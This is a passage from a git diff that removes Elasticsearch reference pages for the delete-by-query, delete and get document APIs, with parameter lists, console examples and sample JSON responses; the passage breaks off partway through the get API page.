-for details. `timeout` controls how long each write request waits for unavailable
-shards to become available. Both work exactly the way they work in the
-<<docs-bulk,Bulk API>>. Delete by query uses scrolled searches, so you can also
-specify the `scroll` parameter to control how long it keeps the search context
-alive, for example `?scroll=10m`. The default is 5 minutes.
-
-===== Throttling delete requests
-
-To control the rate at which delete by query issues batches of delete operations,
-you can set `requests_per_second` to any positive decimal number. This pads each
-batch with a wait time to throttle the rate. Set `requests_per_second` to `-1`
-to disable throttling.
-
-Throttling uses a wait time between batches so that the internal scroll requests
-can be given a timeout that takes the request padding into account. The padding
-time is the difference between the batch size divided by the
-`requests_per_second` and the time spent writing.  By default the batch size is
-`1000`, so if `requests_per_second` is set to `500`:
-
-[source,txt]
---------------------------------------------------
-target_time = 1000 / 500 per second = 2 seconds
-wait_time = target_time - write_time = 2 seconds - .5 seconds = 1.5 seconds
---------------------------------------------------
-
-Since the batch is issued as a single `_bulk` request, large batch sizes
-cause {es} to create many requests and wait before starting the next set.
-This is "bursty" instead of "smooth".
-
-[[docs-delete-by-query-slice]]
-===== Slicing
-
-Delete by query supports <<slice-scroll, sliced scroll>> to parallelize the
-delete process. This can improve efficiency and provide a
-convenient way to break the request down into smaller parts.
-
-Setting `slices` to `auto` chooses a reasonable number for most data streams and indices.
-If you're slicing manually or otherwise tuning automatic slicing, keep in mind
-that:
-
-* Query performance is most efficient when the number of `slices` is equal to
-the number of shards in the index or backing index. If that number is large (for example,
-500), choose a lower number as too many `slices` hurts performance. Setting
-`slices` higher than the number of shards generally does not improve efficiency
-and adds overhead.
-
-* Delete performance scales linearly across available resources with the
-number of slices.
-
-Whether query or delete performance dominates the runtime depends on the
-documents being reindexed and cluster resources.
-
-[[docs-delete-by-query-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases to search.
-Wildcard (`*`) expressions are supported.
-+
-To search all data streams or indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[[docs-delete-by-query-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyzer]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyze_wildcard]
-
-`conflicts`::
-  (Optional, string) What to do if delete by query hits version conflicts:
-  `abort` or `proceed`. Defaults to `abort`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=default_operator]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=df]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=from]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=lenient]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=max_docs]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-q]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=request_cache]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=refresh]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=requests_per_second]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-`scroll`::
-(Optional, <<time-units,time value>>)
-Period to retain the <<scroll-search-context,search context>> for scrolling. See
-<<scroll-search-results>>.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=scroll_size]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search_type]
-
-`search_timeout`::
-(Optional, <<time-units, time units>>)
-Explicit timeout for each search request.
-Defaults to no timeout.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=slices]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sort]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_excludes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_includes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=stats]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=terminate_after]
-
-`timeout`::
-(Optional, <<time-units, time units>>)
-Period each deletion request <<index-wait-for-active-shards,waits for active
-shards>>. Defaults to `1m` (one minute).
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=version]
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-[[docs-delete-by-query-api-request-body]]
-==== {api-request-body-title}
-
-`query`::
-  (Optional, <<query-dsl,query object>>) Specifies the documents to delete
-  using the  <<query-dsl,Query DSL>>.
-
-
-[[docs-delete-by-query-api-response-body]]
-==== Response body
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_delete_by_query
-{
-  "query": { <1>
-    "match": {
-      "user.id": "elkbee"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index_big]
-
-//////////////////////////
-
-The JSON response looks like this:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took" : 147,
-  "timed_out": false,
-  "total": 119,
-  "deleted": 119,
-  "batches": 1,
-  "version_conflicts": 0,
-  "noops": 0,
-  "retries": {
-    "bulk": 0,
-    "search": 0
-  },
-  "throttled_millis": 0,
-  "requests_per_second": -1.0,
-  "throttled_until_millis": 0,
-  "failures" : [ ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/: [0-9]+/: $body.$_path/]
-
-`took`::
-
-The number of milliseconds from start to end of the whole operation.
-
-`timed_out`::
-
-This flag is set to `true` if any of the requests executed during the
-delete by query execution has timed out.
-
-`total`::
-
-The number of documents that were successfully processed.
-
-`deleted`::
-
-The number of documents that were successfully deleted.
-
-`batches`::
-
-The number of scroll responses pulled back by the delete by query.
-
-`version_conflicts`::
-
-The number of version conflicts that the delete by query hit.
-
-`noops`::
-
-This field is always equal to zero for delete by query. It only exists
-so that delete by query, update by query, and reindex APIs return responses
- with the same structure.
-
-`retries`::
-
-The number of retries attempted by delete by query. `bulk` is the number
-of bulk actions retried, and `search` is the number of search actions retried.
-
-`throttled_millis`::
-
-Number of milliseconds the request slept to conform to `requests_per_second`.
-
-`requests_per_second`::
-
-The number of requests per second effectively executed during the delete by query.
-
-`throttled_until_millis`::
-
-This field should always be equal to zero in a `_delete_by_query` response. It only
-has meaning when using the <<tasks, Task API>>, where it
-indicates the next time (in milliseconds since epoch) a throttled request will be
-executed again in order to conform to `requests_per_second`.
-
-`failures`::
-
-Array of failures if there were any unrecoverable errors during the process. If
-this is non-empty then the request aborted because of those failures.
-Delete by query is implemented using batches, and any failure causes the entire
-process to abort but all failures in the current batch are collected into the
-array. You can use the `conflicts` option to prevent reindex from aborting on
-version conflicts.
-
-[[docs-delete-by-query-api-example]]
-==== {api-examples-title}
-
-Delete all documents from the `my-index-000001` data stream or index:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_delete_by_query?conflicts=proceed
-{
-  "query": {
-    "match_all": {}
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-Delete documents from multiple data streams or indices:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001,my-index-000002/_delete_by_query
-{
-  "query": {
-    "match_all": {}
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
-
-Limit the delete by query operation to shards that a particular routing
-value:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_delete_by_query?routing=1
-{
-  "query": {
-    "range" : {
-        "age" : {
-           "gte" : 10
-        }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-By default `_delete_by_query` uses scroll batches of 1000. You can change the
-batch size with the `scroll_size` URL parameter:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_delete_by_query?scroll_size=5000
-{
-  "query": {
-    "term": {
-      "user.id": "kimchy"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[discrete]
-[[docs-delete-by-query-manual-slice]]
-===== Slice manually
-
-Slice a delete by query manually by providing a slice id and total number of
-slices:
-
-[source,console]
-----------------------------------------------------------------
-POST my-index-000001/_delete_by_query
-{
-  "slice": {
-    "id": 0,
-    "max": 2
-  },
-  "query": {
-    "range": {
-      "http.response.bytes": {
-        "lt": 2000000
-      }
-    }
-  }
-}
-POST my-index-000001/_delete_by_query
-{
-  "slice": {
-    "id": 1,
-    "max": 2
-  },
-  "query": {
-    "range": {
-      "http.response.bytes": {
-        "lt": 2000000
-      }
-    }
-  }
-}
-----------------------------------------------------------------
-// TEST[setup:my_index_big]
-
-Which you can verify works with:
-
-[source,console]
-----------------------------------------------------------------
-GET _refresh
-POST my-index-000001/_search?size=0&filter_path=hits.total
-{
-  "query": {
-    "range": {
-      "http.response.bytes": {
-        "lt": 2000000
-      }
-    }
-  }
-}
-----------------------------------------------------------------
-// TEST[continued]
-
-Which results in a sensible `total` like this one:
-
-[source,console-result]
-----------------------------------------------------------------
-{
-  "hits": {
-    "total" : {
-        "value": 0,
-        "relation": "eq"
-    }
-  }
-}
-----------------------------------------------------------------
-
-[discrete]
-[[docs-delete-by-query-automatic-slice]]
-===== Use automatic slicing
-
-You can also let delete-by-query automatically parallelize using
-<<slice-scroll, sliced scroll>> to slice on `_id`. Use `slices` to specify
-the number of slices to use:
-
-[source,console]
-----------------------------------------------------------------
-POST my-index-000001/_delete_by_query?refresh&slices=5
-{
-  "query": {
-    "range": {
-      "http.response.bytes": {
-        "lt": 2000000
-      }
-    }
-  }
-}
-----------------------------------------------------------------
-// TEST[setup:my_index_big]
-
-Which you also can verify works with:
-
-[source,console]
-----------------------------------------------------------------
-POST my-index-000001/_search?size=0&filter_path=hits.total
-{
-  "query": {
-    "range": {
-      "http.response.bytes": {
-        "lt": 2000000
-      }
-    }
-  }
-}
-----------------------------------------------------------------
-// TEST[continued]
-
-Which results in a sensible `total` like this one:
-
-[source,console-result]
-----------------------------------------------------------------
-{
-  "hits": {
-    "total" : {
-        "value": 0,
-        "relation": "eq"
-    }
-  }
-}
-----------------------------------------------------------------
-
-Setting `slices` to `auto` will let {es} choose the number of slices
-to use. This setting will use one slice per shard, up to a certain limit. If
-there are multiple source data streams or indices, it will choose the number of slices based
-on the index or backing index with the smallest number of shards.
-
-Adding `slices` to `_delete_by_query` just automates the manual process used in
-the section above, creating sub-requests which means it has some quirks:
-
-* You can see these requests in the
-<<tasks,Tasks APIs>>. These sub-requests are "child"
-tasks of the task for the request with `slices`.
-* Fetching the status of the task for the request with `slices` only contains
-the status of completed slices.
-* These sub-requests are individually addressable for things like cancellation
-and rethrottling.
-* Rethrottling the request with `slices` will rethrottle the unfinished
-sub-request proportionally.
-* Canceling the request with `slices` will cancel each sub-request.
-* Due to the nature of `slices` each sub-request won't get a perfectly even
-portion of the documents. All documents will be addressed, but some slices may
-be larger than others. Expect larger slices to have a more even distribution.
-* Parameters like `requests_per_second` and `max_docs` on a request with
-slices` are distributed proportionally to each sub-request. Combine that with
-the point above about distribution being uneven and you should conclude that
-using `max_docs` with `slices` might not result in exactly `max_docs` documents
-being deleted.
-* Each sub-request gets a slightly different snapshot of the source data stream or index
-though these are all taken at approximately the same time.
-
-[discrete]
-[[docs-delete-by-query-rethrottle]]
-===== Change throttling for a request
-
-The value of `requests_per_second` can be changed on a running delete by query
-using the `_rethrottle` API. Rethrottling that speeds up the
-query takes effect immediately but rethrotting that slows down the query
-takes effect after completing the current batch to prevent scroll
-timeouts.
-
-[source,console]
---------------------------------------------------
-POST _delete_by_query/r1A2WoRbTwKZ516z6NEs5A:36619/_rethrottle?requests_per_second=-1
---------------------------------------------------
-
-Use the <<tasks,tasks API>> to get the task ID. Set `requests_per_second`
-to any positive decimal value or `-1` to disable throttling.
-
-===== Get the status of a delete by query operation
-
-Use the <<tasks,tasks API>> to get the status of a delete by query
-operation:
-
-
-[source,console]
---------------------------------------------------
-GET _tasks?detailed=true&actions=*/delete/byquery
---------------------------------------------------
-// TEST[skip:No tasks to retrieve]
-
-The response looks like:
-
-[source,console-result]
---------------------------------------------------
-{
-  "nodes" : {
-    "r1A2WoRbTwKZ516z6NEs5A" : {
-      "name" : "r1A2WoR",
-      "transport_address" : "127.0.0.1:9300",
-      "host" : "127.0.0.1",
-      "ip" : "127.0.0.1:9300",
-      "attributes" : {
-        "testattr" : "test",
-        "portsfile" : "true"
-      },
-      "tasks" : {
-        "r1A2WoRbTwKZ516z6NEs5A:36619" : {
-          "node" : "r1A2WoRbTwKZ516z6NEs5A",
-          "id" : 36619,
-          "type" : "transport",
-          "action" : "indices:data/write/delete/byquery",
-          "status" : {    <1>
-            "total" : 6154,
-            "updated" : 0,
-            "created" : 0,
-            "deleted" : 3500,
-            "batches" : 36,
-            "version_conflicts" : 0,
-            "noops" : 0,
-            "retries": 0,
-            "throttled_millis": 0
-          },
-          "description" : ""
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This object contains the actual status. It is just like the response JSON
-with the important addition of the `total` field. `total` is the total number
-of operations that the reindex expects to perform. You can estimate the
-progress by adding the `updated`, `created`, and `deleted` fields. The request
-will finish when their sum is equal to the `total` field.
-
-With the task id you can look up the task directly:
-
-[source,console]
---------------------------------------------------
-GET /_tasks/r1A2WoRbTwKZ516z6NEs5A:36619
---------------------------------------------------
-// TEST[catch:missing]
-
-The advantage of this API is that it integrates with `wait_for_completion=false`
-to transparently return the status of completed tasks. If the task is completed
-and `wait_for_completion=false` was set on it then it'll come back with
-`results` or an `error` field. The cost of this feature is the document that
-`wait_for_completion=false` creates at `.tasks/task/${taskId}`. It is up to
-you to delete that document.
-
-
-[discrete]
-[[docs-delete-by-query-cancel-task-api]]
-===== Cancel a delete by query operation
-
-Any delete by query can be canceled using the <<tasks,task cancel API>>:
-
-[source,console]
---------------------------------------------------
-POST _tasks/r1A2WoRbTwKZ516z6NEs5A:36619/_cancel
---------------------------------------------------
-
-The task ID can be found using the <<tasks,tasks API>>.
-
-Cancellation should happen quickly but might take a few seconds. The task status
-API above will continue to list the delete by query task until this task checks that it
-has been cancelled and terminates itself.
diff --git a/docs/reference/docs/delete.asciidoc b/docs/reference/docs/delete.asciidoc
deleted file mode 100644
index 04d70a1d1be..00000000000
--- a/docs/reference/docs/delete.asciidoc
+++ /dev/null
@@ -1,208 +0,0 @@
-[[docs-delete]]
-=== Delete API
-++++
-<titleabbrev>Delete</titleabbrev>
-++++
-
-Removes a JSON document from the specified index.
-
-[[docs-delete-api-request]]
-==== {api-request-title}
-
-`DELETE /<index>/_doc/<_id>`
-
-[[docs-delete-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `delete` or
-`write` <<privileges-list-indices,index privilege>> for the target index or
-index alias.
-
-[[docs-delete-api-desc]]
-==== {api-description-title}
-
-You use DELETE to remove a document from an index. You must specify the
-index name and document ID.
-
-NOTE: You cannot send deletion requests directly to a data stream. To delete a
-document in a data stream, you must target the backing index containing the
-document. See <<update-delete-docs-in-a-backing-index>>.
-
-[discrete]
-[[optimistic-concurrency-control-delete]]
-===== Optimistic concurrency control
-
-Delete operations can be made conditional and only be performed if the last
-modification to the document was assigned the sequence number and primary
-term specified by the `if_seq_no` and `if_primary_term` parameters. If a
-mismatch is detected, the operation will result in a `VersionConflictException`
-and a status code of 409. See <<optimistic-concurrency-control>> for more details.
-
-[discrete]
-[[delete-versioning]]
-===== Versioning
-
-Each document indexed is versioned. When deleting a document, the `version` can
-be specified to make sure the relevant document we are trying to delete is
-actually being deleted and it has not changed in the meantime. Every write
-operation executed on a document, deletes included, causes its version to be
-incremented. The version number of a deleted document remains available for a
-short time after deletion to allow for control of concurrent operations. The
-length of time for which a deleted document's version remains available is
-determined by the `index.gc_deletes` index setting and defaults to 60 seconds.
-
-[discrete]
-[[delete-routing]]
-===== Routing
-
-If routing is used during indexing, the routing value also needs to be
-specified to delete a document.
-
-If the `_routing` mapping is set to `required` and no routing value is
-specified, the delete API throws a `RoutingMissingException` and rejects
-the request.
-
-For example:
-
-
-////
-Example to delete with routing
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_doc/1?routing=shard-1
-{
-  "test": "test"
-}
---------------------------------------------------
-////
-
-
-[source,console]
---------------------------------------------------
-DELETE /my-index-000001/_doc/1?routing=shard-1
---------------------------------------------------
-// TEST[continued]
-
-This request deletes the document with id `1`, but it is routed based on the
-user. The document is not deleted if the correct routing is not specified.
-
-[discrete]
-[[delete-index-creation]]
-===== Automatic index creation
-
-If an <<docs-index_,external versioning variant>> is used,
-the delete operation automatically creates the specified index if it does not
-exist. For information about manually creating indices, see
-<<indices-create-index,create index API>>.
-
-[discrete]
-[[delete-distributed]]
-===== Distributed
-
-The delete operation gets hashed into a specific shard id. It then gets
-redirected into the primary shard within that id group, and replicated
-(if needed) to shard replicas within that id group.
-
-[discrete]
-[[delete-wait-for-active-shards]]
-===== Wait for active shards
-
-When making delete requests, you can set the `wait_for_active_shards`
-parameter to require a minimum number of shard copies to be active
-before starting to process the delete request. See
-<<index-wait-for-active-shards,here>> for further details and a usage
-example.
-
-[discrete]
-[[delete-refresh]]
-===== Refresh
-
-Control when the changes made by this request are visible to search. See
-<<docs-refresh>>.
-
-[discrete]
-[[delete-timeout]]
-===== Timeout
-
-The primary shard assigned to perform the delete operation might not be
-available when the delete operation is executed. Some reasons for this
-might be that the primary shard is currently recovering from a store
-or undergoing relocation. By default, the delete operation will wait on
-the primary shard to become available for up to 1 minute before failing
-and responding with an error. The `timeout` parameter can be used to
-explicitly specify how long it waits. Here is an example of setting it
-to 5 minutes:
-
-[source,console]
---------------------------------------------------
-DELETE /my-index-000001/_doc/1?timeout=5m
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-delete-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string) Name of the target index.
-
-`<_id>`::
-(Required, string) Unique identifier for the document.
-
-[[docs-delete-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=if_seq_no]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=if_primary_term]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pipeline]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=refresh]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-`timeout`::
-(Optional, <<time-units, time units>>)
-Period to <<index-wait-for-active-shards,wait for active shards>>. Defaults to
-`1m` (one minute).
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=doc-version]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=version_type]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-[[docs-delete-api-example]]
-==== {api-examples-title}
-
-Delete the JSON document `1` from the `my-index-000001` index:
-
-[source,console]
---------------------------------------------------
-DELETE /my-index-000001/_doc/1
---------------------------------------------------
-// TEST[setup:my_index]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": {
-    "total": 2,
-    "failed": 0,
-    "successful": 2
-  },
-  "_index": "my-index-000001",
-  "_type": "_doc",
-  "_id": "1",
-  "_version": 2,
-  "_primary_term": 1,
-  "_seq_no": 5,
-  "result": "deleted"
-}
---------------------------------------------------
-// TESTRESPONSE[s/"successful": 2/"successful": 1/]
-// TESTRESPONSE[s/"_primary_term": 1/"_primary_term": $body._primary_term/]
-// TESTRESPONSE[s/"_seq_no": 5/"_seq_no": $body._seq_no/]
diff --git a/docs/reference/docs/get.asciidoc b/docs/reference/docs/get.asciidoc
deleted file mode 100644
index 2ce71c2692f..00000000000
--- a/docs/reference/docs/get.asciidoc
+++ /dev/null
@@ -1,429 +0,0 @@
-[[docs-get]]
-=== Get API
-++++
-<titleabbrev>Get</titleabbrev>
-++++
-
-Retrieves the specified JSON document from an index.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_doc/0
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-get-api-request]]
-==== {api-request-title}
-
-`GET <index>/_doc/<_id>`
-
-`HEAD <index>/_doc/<_id>`
-
-`GET <index>/_source/<_id>`
-
-`HEAD <index>/_source/<_id>`
-
-[[docs-get-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `read`
-<<privileges-list-indices,index privilege>> for the target index or index alias.
-
-[[docs-get-api-desc]]
-==== {api-description-title}
-You use GET to retrieve a document and its source or stored fields from a
-particular index. Use HEAD to verify that a document exists. You can
-use the `_source` resource retrieve just the document source or verify
-that it exists.
-
-[discrete]
-[[realtime]]
-===== Realtime
-
-By default, the get API is realtime, and is not affected by the refresh
-rate of the index (when data will become visible for search). In case where
-stored fields are requested (see `stored_fields` parameter) and the document
-has been updated but is not yet refreshed, the get API will have to parse
-and analyze the source to extract the stored fields. In order to disable
-realtime GET, the `realtime` parameter can be set to `false`.
-
-[discrete]
-[[get-source-filtering]]
-===== Source filtering
-
-By default, the get operation returns the contents of the `_source` field unless
-you have used the `stored_fields` parameter or if the `_source` field is disabled.
-You can turn off `_source` retrieval by using the `_source` parameter:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_doc/0?_source=false
---------------------------------------------------
-// TEST[setup:my_index]
-
-If you only need one or two fields from the `_source`, use the `_source_includes`
-or `_source_excludes` parameters to include or filter out particular fields.
-This can be especially helpful with large documents where partial retrieval can
-save on network overhead. Both parameters take a comma separated list
-of fields or wildcard expressions. Example:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_doc/0?_source_includes=*.id&_source_excludes=entities
---------------------------------------------------
-// TEST[setup:my_index]
-
-If you only want to specify includes, you can use a shorter notation:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_doc/0?_source=*.id
---------------------------------------------------
-// TEST[setup:my_index]
-
-[discrete]
-[[get-routing]]
-===== Routing
-
-If routing is used during indexing, the routing value also needs to be
-specified to retrieve a document. For example:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_doc/2?routing=user1
---------------------------------------------------
-// TEST[continued]
-
-This request gets the document with id `2`, but it is routed based on the
-user. The document is not fetched if the correct routing is not specified.
-
-[discrete]
-[[preference]]
-===== Preference
-
-Controls a `preference` of which shard replicas to execute the get
-request on. By default, the operation is randomized between the shard
-replicas.
-
-The `preference` can be set to:
-
-`_local`::
-	The operation will prefer to be executed on a local
-	allocated shard if possible.
-
-Custom (string) value::
-	A custom value will be used to guarantee that
-	the same shards will be used for the same custom value. This can help
-	with "jumping values" when hitting different shards in different refresh
-	states. A sample value can be something like the web session id, or the
-	user name.
-
-[discrete]
-[[get-refresh]]
-===== Refresh
-
-The `refresh` parameter can be set to `true` in order to refresh the
-relevant shard before the get operation and make it searchable. Setting
-it to `true` should be done after careful thought and verification that
-this does not cause a heavy load on the system (and slows down
-indexing).
-
-[discrete]
-[[get-distributed]]
-===== Distributed
-
-The get operation gets hashed into a specific shard id. It then gets
-redirected to one of the replicas within that shard id and returns the
-result. The replicas are the primary shard and its replicas within that
-shard id group. This means that the more replicas we have, the
-better GET scaling we will have.
-
-[discrete]
-[[get-versioning]]
-===== Versioning support
-
-You can use the `version` parameter to retrieve the document only if
-its current version is equal to the specified one.
-
-Internally, Elasticsearch has marked the old document as deleted and added an
-entirely new document. The old version of the document doesn’t disappear
-immediately, although you won’t be able to access it. Elasticsearch cleans up
-deleted documents in the background as you continue to index more data.
-
-[[docs-get-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string) Name of the index that contains the document.
-
-`<_id>`::
-(Required, string) Unique identifier of the document.
-
-[[docs-get-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=realtime]
-
-`refresh`::
-(Optional, Boolean)
-If `true`, {es} refreshes the affected shards to make this operation visible to
-search. If `false`, do nothing with refreshes. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=stored_fields]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_excludes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_includes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=doc-version]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=version_type]
-
-[[docs-get-api-response-body]]
-==== {api-response-body-title}
-
-`_index`::
-The name of the index the document belongs to.
-
-`_type`::
-The document type. {es} indices now support a single document type, `_doc`.
-
-`_id`::
-The unique identifier for the document.
-
-`_version`::
-The document version. Incremented each time the document is updated.
-
-`_seq_no`::
-The sequence number assigned to the document for the indexing
-operation. Sequence numbers are used to ensure an older version of a document
-doesn’t overwrite a newer version. See <<optimistic-concurrency-control-index>>.
-
-`_primary_term`::
-The primary term assigned to the document for the indexing operation.
-See <<optimistic-concurrency-control-index>>.
-
-`found`::
-Indicates whether the document exists: `true` or `false`.
-
-`_routing`::
-The explicit routing, if set.
-
-'_source'::
-If `found` is `true`, contains the document data formatted in JSON.
-Excluded if the `_source` parameter is set to `false` or the `stored_fields`
-parameter is set to `true`.
-
-'_fields'::
-If the `stored_fields` parameter is set to `true` and `found` is
-`true`, contains the document fields stored in the index.
-
-[[docs-get-api-example]]
-==== {api-examples-title}
-
-Retrieve the JSON document with the `_id` 0 from the `my-index-000001` index:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_doc/0
---------------------------------------------------
-// TEST[setup:my_index]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "my-index-000001",
-  "_type": "_doc",
-  "_id": "0",
-  "_version": 1,
-  "_seq_no": 0,
-  "_primary_term": 1,
-  "found": true,
-  "_source": {
-    "@timestamp": "2099-11-15T14:12:12",
-    "http": {
-      "request": {
-        "method": "get"
-      },
-      "response": {
-        "status_code": 200,
-        "bytes": 1070000
-      },
-      "version": "1.1"
-    },
-    "source": {
-      "ip": "127.0.0.1"
-    },
-    "message": "GET /search HTTP/1.1 200 1070000",
-    "user": {
-      "id": "kimchy"
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no": $body._seq_no/ s/"_primary_term": 1/"_primary_term": $body._primary_term/]
-
-Check to see if a document with the `_id` 0 exists:
-
-[source,console]
---------------------------------------------------
-HEAD my-index-000001/_doc/0
---------------------------------------------------
-// TEST[setup:my_index]
-
-{es} returns a status code of `200 - OK` if the document exists, or
-`404 - Not Found` if it doesn't.
-
-[discrete]
-[[_source]]
-===== Get the source field only
-
-Use the `<index>/_source/<id>` resource to get
-just the `_source` field of a document. For example:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_source/1
---------------------------------------------------
-// TEST[continued]
-
-You can use the source filtering parameters to control which parts of the
-`_source` are returned:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_source/1/?_source_includes=*.id&_source_excludes=entities
---------------------------------------------------
-// TEST[continued]
-
-You can use HEAD with the `_source` endpoint to efficiently
-test whether or not the document _source exists. A document's source is not
-available if it is disabled in the <<mapping-source-field,mapping>>.
-
-[source,console]
---------------------------------------------------
-HEAD my-index-000001/_source/1
---------------------------------------------------
-// TEST[continued]
-
-[discrete]
-[[get-stored-fields]]
-===== Get stored fields
-
-Use the `stored_fields` parameter to specify the set of stored fields you want
-to retrieve. Any requested fields that are not stored are ignored.
-Consider for instance the following mapping:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-   "mappings": {
-       "properties": {
-          "counter": {
-             "type": "integer",
-             "store": false
-          },
-          "tags": {
-             "type": "keyword",
-             "store": true
-          }
-       }
-   }
-}
---------------------------------------------------
-
-Now we can add a document:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1
-{
-  "counter": 1,
-  "tags": [ "production" ]
-}
---------------------------------------------------
-// TEST[continued]
-
-And then try to retrieve it:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_doc/1?stored_fields=tags,counter
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-   "_index": "my-index-000001",
-   "_type": "_doc",
-   "_id": "1",
-   "_version": 1,
-   "_seq_no" : 22,
-   "_primary_term" : 1,
-   "found": true,
-   "fields": {
-      "tags": [
-         "production"
-      ]
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-Field values fetched from the document itself are always returned as an array.
-Since the `counter` field is not stored, the get request  ignores it.
-
-You can also retrieve metadata fields like the `_routing` field:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/2?routing=user1
-{
-  "counter" : 1,
-  "tags" : ["env2"]
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_doc/2?routing=user1&stored_fields=tags,counter
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-   "_index": "my-index-000001",
-   "_type": "_doc",
-   "_id": "2",
-   "_version": 1,
-   "_seq_no" : 13,
-   "_primary_term" : 1,
-   "_routing": "user1",
-   "found": true,
-   "fields": {
-      "tags": [
